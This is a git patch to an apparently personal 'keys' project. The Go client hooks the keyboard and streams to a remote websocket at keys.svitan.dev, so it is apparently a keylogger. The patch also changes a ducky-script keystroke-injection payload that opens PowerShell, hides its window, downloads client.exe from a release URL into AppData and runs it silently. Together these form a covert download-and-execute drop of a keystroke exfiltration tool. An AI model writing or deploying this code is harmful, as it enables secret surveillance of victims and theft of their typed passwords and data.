From df143bc186257e6bb3c0d51cf869a5cb758b80f2 Mon Sep 17 00:00:00 2001 From: Daniel Svitan Date: Tue, 13 May 2025 20:52:01 +0200 Subject: [PATCH] :construction: Moves most of logic in ducky script into one block --- client/config.go | 9 --------- client/main.go | 5 +++-- keys.txt | 14 ++++++++------ 3 files changed, 11 insertions(+), 17 deletions(-) delete mode 100644 client/config.go diff --git a/client/config.go b/client/config.go deleted file mode 100644 index 75d0ccb..0000000 --- a/client/config.go +++ /dev/null @@ -1,9 +0,0 @@ -package main - -import "github.com/google/uuid" - -func getId() uuid.UUID { - return uuid.New() -} - -func registerAutostart() {} diff --git a/client/main.go b/client/main.go index 100e0cc..0711bce 100644 --- a/client/main.go +++ b/client/main.go @@ -7,6 +7,7 @@ import ( "runtime" "time" + "github.com/google/uuid" "github.com/gorilla/websocket" hook "github.com/robotn/gohook" ) @@ -22,9 +23,9 @@ const ( ) func main() { - var id = getId() + var id = uuid.New() if runtime.GOOS == "windows" { - registerAutostart() + } var resource = url.URL{Scheme: "wss", Host: "keys.svitan.dev", Path: fmt.Sprintf("/keys?id=%s", id)} diff --git a/keys.txt b/keys.txt index 1d0330e..d9e0094 100644 --- a/keys.txt +++ b/keys.txt @@ -1,15 +1,17 @@ REM open powershell -GUI r +WINDOWS r DELAY 1000 STRING powershell ENTER -DELAY 2000 +DELAY 3000 + +REM run rest in background +STRING powershell.exe -WindowStyle hidden { +STRING $OpDir = "$(pwd)\AppData\Local\keys"; REM download client.exe file -STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile .\AppData\Local\Temp\keys.exe -ENTER -DELAY 15000 +STRING Invoke-WebRequest https://gitea.svitan.dev/Streamer272/keys/releases/download/latest/client.exe -OutFile "$OpDir\keys.exe"; REM client.exe file (closes automatically) -STRING powershell.exe -WindowStyle hidden { Start-Process -FilePath .\AppData\Local\Temp\keys.exe -NoNewWindow } +STRING Start-Process -FilePath "$OpDir\keys.exe" -NoNewWindow } ENTER